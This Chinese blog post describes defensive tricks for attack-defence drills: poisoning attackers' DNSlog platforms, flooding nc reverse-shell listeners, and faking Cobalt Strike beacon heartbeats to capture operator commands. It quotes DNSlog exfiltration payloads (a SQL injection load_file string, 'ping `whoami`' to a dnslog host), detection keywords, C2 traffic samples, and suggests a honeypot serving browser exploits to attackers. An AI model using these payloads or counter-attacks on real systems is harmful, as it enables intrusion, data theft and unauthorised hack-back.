攻防演练中防守方的骚姿势

 

数据外带类

类型描述

攻击方在对一个目标进行攻击时,会有一些漏洞探测的动作。当遇到没有回显的命令执行和注入时,会采用结合dnslog的方式。

命令执行:ping xx.dnslog.com
SQL注入 :load_file(CONCAT('\\',(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xx.dnslog.com'))

其它类似不一一列举

攻击发现

一般会从安全告警设备中发现,安全设备监控人员,发现类似攻击探测后,提取出攻击者使用的dnslog平台地址。

还有一些情况,看的是全流量设备。这种情况下没有告警,只能根据经验搜索了。我们可以关注一些关键词,命令执行类:pingcurlwget,SQL注入类:load_file(EXEC(EXECUTE

骚扰姿势

接下来,可以去网上找提供PING服务的网站。把上面提取出的攻击者的dnslog平台地址做为ping的目标地址,执行ping操作。

如果攻击这用的是网络上找到dnslog平台,大多情况下ping出的地址都是127.0.0.1,如果是自己搭建的dnslog平台,设置不规范的情况下会显示vps的IP。

攻击者的DNSLOG平台上面,就是这个样子了,突突突的一阵狂跳,结果没一个是他想要的。

上面这种探测只能探测是否存在漏洞,攻击方肯定想要的更多(数据外带)。

数据外带也分两种情况,一种是直接外带字符串。由于dns协议不支持部分特殊字符,所以第二种是把数据hex加密后,拼接dnslog地址外带数据。

字符串外带型骚扰 ping `whoami`.xxx.dnslog.com

加密拼接型骚扰:

当然,上面这些还略显单调。虽然产生了大量的dnslog日志,但是重复性很高,很容易就被过滤掉了。所以接下来考虑多样性。

对于字符串型,可以从网上下载一个常用用户名列表,再写个脚本读取用户名列表并调用全国ping接口大量发送dns请求。

然后就是模仿数据库常见命令返回结果的格式,伪造一些数据去发送dns请求。比如:

select version();  -> x.x.xx
select user();     -> xxxx@localhost

对于dns请求,有个坑点就是域名每两个.之间的字符个数不能超过63个。域名总长度不能超过254个字符。

 

后门类

NC反弹型

当攻击者用nc反弹shell时,可以写一个脚本,使用socket库连接攻击者接收shell的主机端口。此方法可以终止攻击者接收shell的进程。

import socket

n = 0

def conne(host, port):
    global n
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    client.connect((host, port))
    n += 1
    print("Number", n)

while True:
    try:
        conne('127.0.0.1', 333)
    except :
        pass

CS agent

类型描述

对于CS,K8大佬写过一篇模拟CS上线的文章,参考链接在最后。

不过,我在测试过程中,发现模拟上线的请求url有所变化。

cobaltctrike是一个RAT工具,后渗透阶段的常用工具。利用时生成一个agent,在目标机执行agent使其上线,从而被攻击者长期控制。

攻击发现

CS支持多种协议,一般会使用http协议进行通信。大多数的流量安全设备都可以发现。

一个agent上线时,受害机会先发送一个GET请求,接着受害机会发送第一个心跳包,正式上线。

在需要执行命令的时候,CS控制端会把命令数据作为心跳包的响应,发送给受控端。数据包详情如下:

受害机发起 请求上线

特征: 1. url路径为几个随机字符,2. 请求头有4个字段,类似如下

GET /p3xB HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: 192.168.186.133:333
Connection: Keep-Alive
Cache-Control: no-cache

受害机发起 心跳包

特征: 1. url路径固定为/activity,2. 相比上面请求头,多了一个Cookie,并且Cookie值格式固定

GET /activity HTTP/1.1
Accept: */*
Cookie: cccsP3ZpLVdNmMEudr//cTM7BpJ4mELRTC0kUZ2IQllqwwNNSSCdAld/yUEyf7QqSq/6XwgPKMXjCP3Q4sbod6LfiVbMAwlM11wx2thA9taC4uoDNfkM+1/iAZ3hqgX/DYQYUlduFVqqNGjv74BHawXPaa/Iuay/4SLd8i072SU=
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)
Host: 192.168.186.133:333
Connection: Keep-Alive
Cache-Control: no-cache

CS控制端响应 命令数据 原生ls命令

特征: 1. 数据体部分为经过AES解密后的原生命令

HTTP/1.1 200 OK
Date: Thu, 1 Oct 2020 14:56:13 GMT
Content-Type: application/octet-stream
Content-Length: 48

_u.
.......5.............\*AAAAAk0...['hC..R...^

CS控制端响应 命令数据 Windows系统whoami命令

特征:1. 命令为明文并且位置固定,可直接获取

HTTP/1.1 200 OK
Date: Thu, 1 Oct 2020 15:03:13 GMT
Content-Type: application/octet-stream
Content-Length: 64

_u.....%...N.......    %COMSPEC%...
 /C whoami..AAA,.....]{A$.8....

受害机发起 命令执行结果

特征: 1. url路径为/submit.php?id=19580,id值不固定。 2. 命令执行结果为明文且位置固定。

POST /submit.php?id=19580 HTTP/1.1
Accept: */*
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)
Host: 192.168.186.133:333
Content-Length: 52
Connection: Keep-Alive
Cache-Control: no-cache

...0............john-pc\john
\.D.e.U..r..C.$[....UV

骚扰姿势

经过测试,我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令,只能干着急。

def heartbeat():
    url = "http://192.168.186.133:333/activity"
    headers = {
            'Cookie': 'IgyzGuIX0Jrb5Ht45ZLYKyXWBnxfkNI3m6BOvExECdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGSHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
            'Host': '192.168.186.133:333',
            'Accept': '*/*',
            'Connection': 'Keep-Alive',
            'Cache-Control': 'no-cache',
            'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
        }
    resp = requests.get(url=url,headers=headers)
    text = resp.content.hex()
    return text

模拟上线后,攻击者执行命令的结果如下,好气┗|`O′|┛ 嗷~~:

beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 114 bytes
beacon> ls
[*] Tasked beacon to list files in .
[+] host called home, sent: 19 bytes
beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 37 bytes

K8大佬文章中还提到,可以收集攻击者执行的系统命令。

完整代码如下,使用时替换IP或域名、portcookie

# coding: utf-8

import re
import time
import requests

def heartbeat():
    url = "http://192.168.186.133:333/activity"
    headers = {
            'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
            'Host': '192.168.186.133:333',
            'Accept': '*/*',
            'Connection': 'Keep-Alive',
            'Cache-Control': 'no-cache',
            'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
        }
    resp = requests.get(url=url,headers=headers)
    text = resp.content.hex()
    return text

x = True
while x:
    text = heartbeat()
    lengs = len(text)
    # print(lengs, "    ", text)

    if '2f4320' in text and '000041' in text:
        print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))

        commeds = re.findall(r'2f4320(.*?)000041', text)
        for comm in commeds:
            commed = bytes.fromhex(comm).decode('utf-8')
            print(commed)
    time.sleep(5)

效果图

webshell类

有时候防守方的系统可能存在文件上传或写入漏洞,导致攻击者上传webshell后门。一旦攻击者连接成功,剩下的就是内网一把梭了。这时候防守方最方便快捷的应对办法就是删除webshell文件了,攻击者发现webshell被删后,还可以继续上传,终归不是解决办法。
做为防守方,可以换个思路。想办法阻止攻击者成功连接webshell才是目的,所以可以修改webshell连接密码,或者破坏wewbshell功能,让攻击者迷茫去吧。

ps:

不要问我为什么不暂时停机下线,修复漏洞再上线。我想做过项目的乙方兄弟都懂。

 

诱捕

  1. 某一应用故意留个弱口令,但是登陆需要绑定微信或者手机号,从而根据微信或者手机号溯源到攻击者身份。验证微信或者手机号时,需要注意不能让攻击者绑定任意微信或者手机号。还有就是绑定的手机号不能是接码平台的虚拟手机号。(具体代码逻辑,仁者见仁,智者见智了)
  2. 蜜罐设置一个exp向量的页面,主要使用针对Google、火狐等浏览器的已公开漏洞。当攻击者使用了存在漏洞的浏览器访问到网页时,不知不觉就上线了。当然,这种成本比较高。

 

参考

https://k8gege.org/p/40523.html

(完)